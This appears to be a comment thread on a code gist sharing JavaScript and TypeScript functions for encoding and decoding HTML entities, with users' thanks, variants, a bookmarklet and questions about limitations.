function htmlDecode(input){
var e = document.createElement('div');
e.innerHTML = input;
return e.childNodes.length === 0 ? "" : e.childNodes[0].nodeValue;
}

xuebaofeng: Your solution does not work on a server using node.js, nor does it work on Pebble smartwatch. It only works in a browser. The solution provided works anywhere that JavaScript regular expressions are supported.

Great solution. Thanks. I've been trying to pull this off all morning.

Works well for encoding input from text fields straight into html using jQuery and this.

Thanks, this solved an annoying issue with .net localization.

I've written a little bit better implementation of decodeHtmlEntity that accept's html entities by name Gist

with Unicode support (\uWXYZ):

function encodeHtmlEntity(str) {
  return str.replace(/[\u00A0-\u9999\<\>\&\'\"\\\/]/gim, function(c){
    return '&#' + c.charCodeAt(0) + ';' ;
  });
}

or as bookmarklet (placed in your bookmark-toolbar to use whenever..)

javascript:(function(){prompt("output:",prompt("∞ to HTML-Entity:","<div>❝Likė A Ƀoŝš❞ ©®</div>").replace(/[\u00A0-\u9999\<\>\&\'\"\\\/]/gim,function(c){return '&#'+c.charCodeAt(0)+';'}));return true;}());



sorry about the watermark, I've took it from here

Thanks a lot for this!
What if my string also has hexadecimal along with decimal values?

function encodeHtmlEntity(str) {
  var buf = '';
  for (var i=0; i < str.length; i++) {
    buf += '&#'+ str.charCodeAt(i) + ';';
  }
  return buf;
};

Don't construct an array just to join it with empty string.

TypeScript version:

const decodeHtmlEntity = function (str: string) {
  return str.replace(/&#(\d+);/g, function (match: string, dec: number) {
    return String.fromCharCode(dec)
  })
}

const encodeHtmlEntity = function (str: string) {
  const buf = []
  for (let i = str.length - 1; i >= 0; i--) {
    buf.unshift(['&#', str.charCodeAt(i), ';'].join(''))
  }
  return buf.join('')
}

How about &quot;, it doesn't decode it to "
